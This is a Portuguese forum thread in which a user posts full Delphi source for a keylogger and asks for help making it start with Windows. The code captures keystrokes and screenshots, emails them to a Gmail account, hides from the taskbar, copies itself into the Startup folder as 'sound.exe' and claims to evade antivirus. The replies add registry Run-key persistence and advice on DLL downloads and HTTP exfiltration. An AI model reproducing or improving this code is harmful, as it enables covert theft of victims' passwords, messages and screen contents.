Duvida keylogger em delphi | ajuda pra iniciar com o windows

[jucalol]

Alguem pode me ajudar com o meu codigo?
ele roda perfeitamente, porem nao está iniciando junto com o sistema operacional(windows), nao sei e ta com erro ao tentar copiar o arquivo para o local destinado, ou apenas se nao executa ao iniciar o windows, essa parte esta la no final do codigo.....

unit Unit1;

interface
{$IMAGEBASE $0035876521}//Altera o cabeçalho do KL dificultando a indentificação dos antivirus
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, MMSystem, ExtCtrls, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdFTP, Wininet, Registry, ShellAPI,
  StdCtrls, IdSMTP, IdMessage, IdSSLOpenSSL, Jpeg;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    FTP: TIdFTP;
    Internet: TTimer;
    Keylogger: TTimer;
    Enviar: TTimer;
    Ativar: TTimer;
    Desativar: TTimer;
    procedure InternetTimer(Sender: TObject);
    procedure KeyloggerTimer(Sender: TObject);
    procedure EnviarTimer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure AtivarTimer(Sender: TObject);
    procedure DesativarTimer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.InternetTimer(Sender: TObject);
var
Flags: DWORD;
begin
if not InternetGetConnectedState(@Flags, 0) then //Verifica se existe conexão com a internet
Desativar.enabled:=true
else
begin
Ativar.enabled:=true;
end;
end;

procedure TForm1.KeyloggerTimer(Sender: TObject);//O KL
var
      i : byte;
begin

  for i:=8 To 222 do
    begin
       if GetAsyncKeyState(i)=-32767 then
        begin
        case i of
        8  : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
        9  : memo1.text:=memo1.text+'[Tab]';
        13 : memo1.text:=memo1.text+#13#10; //Enter
        17 : memo1.text:=memo1.text+'[Ctrl]';
        27 : memo1.text:=memo1.text+'[Esc]';
        32 :memo1.text:=memo1.text+' '; //Space
        // Del,Ins,Home,PageUp,PageDown,End
        33 : memo1.text := Memo1.text + '[Page Up]';
        34 : memo1.text := Memo1.text + '[Page Down]';
        35 : memo1.text := Memo1.text + '[End]';
        36 : memo1.text := Memo1.text + '[Home]';
        //Arrow Up Down Left Right
        37 : memo1.text := Memo1.text + '[Left]';
        38 : memo1.text := Memo1.text + '[Up]';
        39 : memo1.text := Memo1.text + '[Right]';
        40 : memo1.text := Memo1.text + '[Down]';

        44 : memo1.text := Memo1.text + '[Print Screen]';
        45 : memo1.text := Memo1.text + '[Insert]';
        46 : memo1.text := Memo1.text + '[Del]';
        145 : memo1.text := Memo1.text + '[Scroll Lock]';

        //Number 1234567890 Symbol !@#$%^&*()
        48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¨¨'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'9';
        65..90 : // a..z , A..Z
            begin
            if ((GetKeyState(VK_CAPITAL))=1) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
                else
                   memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
                else
                    memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
            end;
        //Numpad
        96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad  0..9
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'+';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
        144 : memo1.text:=memo1.text+'[Num Lock]';

        112..123: //F1-F12
            memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';

        186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'Ç'
              else memo1.text:=memo1.text+'ç';
        187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
              else memo1.text:=memo1.text+'=';
        188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
              else memo1.text:=memo1.text+',';
        189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
              else memo1.text:=memo1.text+'-';
        190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
              else memo1.text:=memo1.text+'.';
        191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
              else memo1.text:=memo1.text+';';
        192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
              else memo1.text:=memo1.text+'''';
        193 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
              else memo1.text:=memo1.text+'/';
        220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
              else memo1.text:=memo1.text+']';
        221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
              else memo1.text:=memo1.text+'[';
        226 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
              else memo1.text:=memo1.text+'\';
        end;
        end;
    end;
end;

procedure TForm1.EnviarTimer(Sender: TObject);
var
  // objetos necessários para o funcionamento
  IdSSLIOHandlerSocket: TIdSSLIOHandlerSocket;
  IdSMTP: TIdSMTP;
  IdMessage: TIdMessage;
  CaminhoAnexo: string;
  FotoAnexo: string;
  bitmap : tbitmap;
  jpg : tjpegimage;
  dc : hdc;
  desktoprect : trect;
  desktopcanvas : tcanvas;
  x, y : integer;

begin
 dc:=getdc(getdesktopwindow);
 try
 desktopcanvas:=tcanvas.create;
 bitmap:=tbitmap.create;
 jpg:=tjpegimage.create;
 try
 bitmap.Width:=Screen.Width; // Tamanho da imagem
 bitmap.Height:=Screen.Height; // Tamanho da imgem
 desktopcanvas.handle:=dc;
 desktoprect:=rect(0,0,Screen.Width,Screen.Height);//Tamanho da tela de captura.
 bitmap.canvas.CopyRect(desktoprect,desktopcanvas,desktoprect);
  with jpg do
  begin
  compressionquality:=100; // Qualidade da imagem.
  assign(bitmap);
  compress;
  savetofile('C:\Windows\System\screen.jpg'); // Path onde sera salva a imagem
  end;
 finally
 bitmap.free;
 desktopcanvas.free;
 end;
 finally
 releasedc(getdesktopwindow,dc);
 end;

  memo1.Lines.SaveToFile('c:\windows\system32\Dados.txt');//Salva o log do KL
  // instanciação dos objetos
  IdSSLIOHandlerSocket := TIdSSLIOHandlerSocket.Create(Self);
  IdSMTP := TIdSMTP.Create(Self);
  IdMessage := TIdMessage.Create(Self);

  try
    // Configuração do SSL
    IdSSLIOHandlerSocket.SSLOptions.Method := sslvSSLv23;
    IdSSLIOHandlerSocket.SSLOptions.Mode := sslmClient;

    // Configuração do SMTP
    IdSMTP.IOHandler := IdSSLIOHandlerSocket;
    IdSMTP.AuthenticationType := atLogin;
    IdSMTP.Port := 465;
    IdSMTP.Host := 'smtp.gmail.com';
    IdSMTP.Username := xxx@gmail.com';
    IdSMTP.Password := '******';

    // Tentativa de conexão e autenticação
    try
      IdSMTP.Connect;
      IdSMTP.Authenticate;
    except
      on E:Exception do
      begin
        MessageDlg('Erro na conexão e/ou autenticação: ' +
                    E.Message, mtWarning, [mbOK], 0);
        Exit;
      end;
    end;

    // Configuração da mensagem
    IdMessage.From.Address := 'xxxx@gmail.com';
    IdMessage.From.Name := 'Nome';
    IdMessage.ReplyTo.EMailAddresses := IdMessage.From.Address;
    IdMessage.Recipients.EMailAddresses := 'xxxx@gmail.com';
    IdMessage.Subject := 'LOGS-KL';
    IdMessage.Body.Text := 'LOGS';

    // Anexo da mensagem (opcional)
    CaminhoAnexo := 'c:\windows\system32\Dados.txt';
    if FileExists(CaminhoAnexo) then
      TIdAttachment.Create(IdMessage.MessageParts, CaminhoAnexo);

      // Anexo da imagem (opcional)
    FotoAnexo := 'C:\Windows\System\screen.jpg';
    if FileExists(FotoAnexo) then
      TIdAttachment.Create(IdMessage.MessageParts, FotoAnexo);

     // Envio da mensagem
    try
      IdSMTP.Send(IdMessage);
    except
      On E:Exception do

    end;
  finally
    // liberação dos objetos da memória
    FreeAndNil(IdMessage);
    FreeAndNil(IdSSLIOHandlerSocket);
    FreeAndNil(IdSMTP);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
type
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
var
a : string;
Handle: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
//*** Nao aparece na barra, autocopia e inicia no windows**
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);

a := application.ExeName;
if not fileexists('C:\Documents and Settings\All Users\Menu Iniciar\Inicializar\sound.exe') then
  copyfile(Pchar(a),Pchar('C:\Documents and Settings\All Users\Menu Iniciar\Inicializar\sound.exe'), false);
end;

procedure TForm1.AtivarTimer(Sender: TObject);//Ativa o KL
begin
Keylogger.enabled:=true;
Enviar.enabled:=true;
Ativar.enabled:=true;
end;

procedure TForm1.DesativarTimer(Sender: TObject);//Desativa o KL
begin
Keylogger.enabled:=true;
Enviar.enabled:=true;
Desativar.enabled:=true;
end;

end.

[Piratica]

Tente fazer a execução junto com o Windows, via registro(regedit)

procedure TForm1.Button1Click(Sender: TObject);
var
  Reg: TRegistry;
  S: string;
begin
   Reg := TRegistry.Create;
   S:=ExtractFileDir(Application.ExeName)+'\'+ExtractFileName(Application.ExeName);
   Reg.rootkey:=HKEY_LOCAL_MACHINE;
   Reg.Openkey('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',false);
   Reg.WriteString('ProgramaInicia',S);
   Reg.closekey;
   Reg.Free;
   Showmessage('Valor Gravado!');
end;

Adapte o código acima conforme suas necessidades, como pode ver acima ele irá executar quando clicar no botão - não é o seu caso.

O resultado, ele tem que gravar no registro:
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\Curr entVersion\Run
(Teste para ver se ele gravou corretamente)

Para mais informações: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

[FL4SHC0D3R]

Falta função para baixar as dlls p/ envio de email SSL

Código bom, mas tá faltando uma função para baixar as dlls libeay32, ssleay32 responsáveis por fazer funcionar o envio de email via SSL e conta Gmail. Se quiser implementar, lembre-se de baixá-las para a pasta C:\Windows\System32 nos sistemas Win32 bits e C:\Windows\SysWOW64 para sistemas Win64 bits, faça funções para verificar a versão do sistema e saber quantos bits ele é, respectivamente, e só após esse teste, criar a função de download e direcionar as dlls para serem baixadas para as pastas corretas.


Uma alternativa para se livrar desse trabalho todo é enviar o txt de logs via http e posteriormente para seu email.

Espero ter ajudado com essas dicas para melhoria e eficácia do seu programa.

Abraço.